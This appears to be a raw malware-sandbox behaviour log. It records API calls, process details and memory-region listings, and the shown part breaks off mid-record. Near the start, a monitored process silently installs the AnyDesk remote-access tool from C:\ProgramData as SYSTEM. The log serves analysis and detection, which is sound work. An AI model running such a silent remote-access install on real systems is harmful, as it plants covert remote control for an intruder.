lpCommandLine="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\SysWOW64", lpStartupInfo=0x1cf120*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf16c | out: lpCommandLine="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent", lpProcessInformation=0x1cf16c*(hProcess=0x88, hThread=0x84, dwProcessId=0xe14, dwThreadId=0xe08)) returned 1 [0163.724] CloseHandle (hObject=0x84) returned 1 [0163.724] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0163.724] GetProcessHeap () returned 0x390000 [0163.724] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4e40 | out: hHeap=0x390000) returned 1 [0163.724] GetEnvironmentStringsW () returned 0x3a42e0* [0163.724] GetProcessHeap () returned 0x390000 [0163.724] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb56) returned 0x3a4e40 [0163.724] memcpy (in: _Dst=0x3a4e40, _Src=0x3a42e0, _Size=0xb56 | out: _Dst=0x3a4e40) returned 0x3a4e40 [0163.724] FreeEnvironmentStringsW (penv=0x3a42e0) returned 1 [0163.724] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0xffffffff) Process: id = "14" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0x2bf73000" os_pid = "0x1dc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x174" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2697 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2698 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2699 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2700 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2701 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2702 start_va = 0xc0000 end_va = 0xc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2703 start_va = 0xd0000 end_va = 0xd1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2704 start_va = 0xe0000 end_va = 0xe1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.exe.mui" filename = "\\Windows\\System32\\en-US\\lsm.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.exe.mui") Region: id = 2705 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2706 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2707 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2708 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2709 start_va = 0x130000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2710 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2711 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2712 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2713 start_va = 0x3f0000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2714 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2715 start_va = 0x530000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2716 start_va = 0x5b0000 end_va = 0x87efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2717 start_va = 0x910000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2718 start_va = 0x990000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2719 start_va = 0xa50000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2720 start_va = 0xaf0000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 2721 start_va = 0xba0000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 2722 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2723 start_va = 0xcb0000 end_va = 0xe37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 2724 start_va = 0xed0000 end_va = 0xf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 2725 start_va = 0xf50000 end_va = 0x10d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f50000" filename = "" Region: id = 2726 start_va = 0x10e0000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010e0000" filename = "" Region: id = 2727 start_va = 0x1240000 end_va = 0x12bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2728 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2729 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2730 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2731 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2732 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2733 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2734 start_va = 0xff650000 end_va = 0xff6a6fff monitored = 0 entry_point = 0xff663450 region_type = mapped_file name = "lsm.exe" filename = "\\Windows\\System32\\lsm.exe" (normalized: "c:\\windows\\system32\\lsm.exe") Region: id = 2735 start_va = 0x7fef6480000 end_va = 0x7fef6490fff monitored = 0 entry_point = 0x7fef6481200 region_type = mapped_file name = "lsmproxy.dll" filename = "\\Windows\\System32\\lsmproxy.dll" (normalized: "c:\\windows\\system32\\lsmproxy.dll") Region: id = 2736 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2737 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2738 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 2739 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2740 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2741 start_va = 0x7fefc6b0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6b2a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 2742 start_va = 0x7fefc6c0000 end_va = 0x7fefc6c9fff monitored = 0 entry_point = 0x7fefc6c3b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 2743 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2744 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2745 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2746 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2747 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2748 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2749 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2750 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2751 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2752 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2753 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2754 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2755 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2756 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2757 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2758 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2759 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2760 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2761 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2762 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2763 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2764 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2765 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2766 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2767 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2768 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2769 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2770 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2771 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2772 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2773 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2774 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 5397 start_va = 0x11a0000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 5716 start_va = 0xe60000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 5717 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Thread: id = 175 os_tid = 0xdf4 Thread: id = 176 os_tid = 0xff0 Thread: id = 177 os_tid = 0x50c Thread: id = 178 os_tid = 0x308 Thread: id = 179 os_tid = 0x2fc Thread: id = 180 os_tid = 0x2f0 Thread: id = 181 os_tid = 0x2ec Thread: id = 182 os_tid = 0x2e8 Thread: id = 183 os_tid = 0x2d4 Thread: id = 184 os_tid = 0x2cc Thread: id = 185 os_tid = 0x258 Thread: id = 186 os_tid = 0x1e0 Thread: id = 518 os_tid = 0xb74 Thread: id = 537 os_tid = 0xec0 Process: id = "15" image_name = "anydesk.exe" filename = "c:\\programdata\\anydesk.exe" page_root = "0x274e8000" os_pid = "0xe14" os_integrity_level = "0x3000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xdd8" cmd_line = "c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2782 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2783 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2784 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2785 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2786 start_va = 0x60000 end_va = 0x62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2787 start_va = 0x70000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2788 start_va = 0x190000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2789 start_va = 0xa40000 end_va = 0x19bcfff monitored = 1 entry_point = 0xa41ce9 region_type = mapped_file name = "anydesk.exe" filename = "\\ProgramData\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe") Region: id = 2790 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2791 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2792 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2793 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2794 start_va = 0xfffb0000 end_va = 0xfffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 2795 start_va = 0xfffdb000 end_va = 0xfffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 2796 start_va = 0xfffde000 end_va = 0xfffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 2797 start_va = 0xfffdf000 end_va = 0xfffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 2798 start_va = 0xfffe0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 2799 start_va = 0x1d0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2800 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2801 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2802 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2803 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2804 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2805 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2806 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2807 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2808 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2809 start_va = 0x3a0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2810 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2811 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2812 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2813 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2814 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2815 start_va = 0x1d0000 end_va = 0x236fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2816 start_va = 0x320000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2820 start_va = 0x19c0000 end_va = 0x2585fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 2841 start_va = 0x71ee0000 end_va = 0x71f11fff monitored = 0 entry_point = 0x71ee37f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2843 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2844 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2845 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2846 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2847 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2848 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2849 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2850 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2851 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2852 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2853 start_va = 0x3a0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2854 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2855 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = 